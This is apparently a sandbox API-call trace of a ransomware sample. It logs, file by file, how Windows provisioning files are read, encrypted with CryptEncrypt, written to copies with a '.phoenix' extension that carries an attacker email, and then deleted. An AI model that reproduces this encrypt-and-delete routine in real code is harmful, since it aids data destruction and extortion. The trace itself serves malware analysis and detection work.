	[0256.770] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.770] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.770] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.770] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.770] CloseHandle (hObject=0x2e0) returned 1
	[0256.770] CloseHandle (hObject=0x2f4) returned 1
	[0256.771] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.772] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.772] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=704) returned 1
	[0256.772] CloseHandle (hObject=0x2f4) returned 1
	[0256.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.773] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.773] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.773] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0256.773] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.773] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.775] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.775] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.776] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0256.776] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.776] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0256.776] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.776] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0256.776] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.776] CloseHandle (hObject=0x2f4) returned 1
	[0256.776] CloseHandle (hObject=0x2e0) returned 1
	[0256.776] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.777] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.777] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.778] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=702) returned 1
	[0256.778] CloseHandle (hObject=0x2e0) returned 1
	[0256.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.778] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.778] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.779] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.779] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0256.779] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.779] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2be, lpOverlapped=0x0) returned 1
	[0256.780] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0256.780] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.781] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0256.781] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.781] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0256.781] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.781] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0256.781] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.781] CloseHandle (hObject=0x2e0) returned 1
	[0256.782] CloseHandle (hObject=0x2f4) returned 1
	[0256.782] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.783] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=705) returned 1
	[0256.783] CloseHandle (hObject=0x2f4) returned 1
	[0256.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.783] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.783] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.784] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0256.784] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.784] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c1, lpOverlapped=0x0) returned 1
	[0256.787] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.787] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.792] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0256.792] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.792] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.792] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.792] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.792] CryptDestroyKey (hKey=0x151100) returned 1
	[0256.792] CloseHandle (hObject=0x2f4) returned 1
	[0256.792] CloseHandle (hObject=0x2e0) returned 1
	[0256.792] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.793] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.794] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=706) returned 1
	[0256.794] CloseHandle (hObject=0x2e0) returned 1
	[0256.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.795] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.795] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.795] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.795] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0256.796] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.796] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c2, lpOverlapped=0x0) returned 1
	[0256.798] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.798] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.799] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0256.799] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.799] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.799] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.799] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.799] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.799] CloseHandle (hObject=0x2e0) returned 1
	[0256.799] CloseHandle (hObject=0x2f4) returned 1
	[0256.800] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.801] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.801] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.802] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=703) returned 1
	[0256.802] CloseHandle (hObject=0x2f4) returned 1
	[0256.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
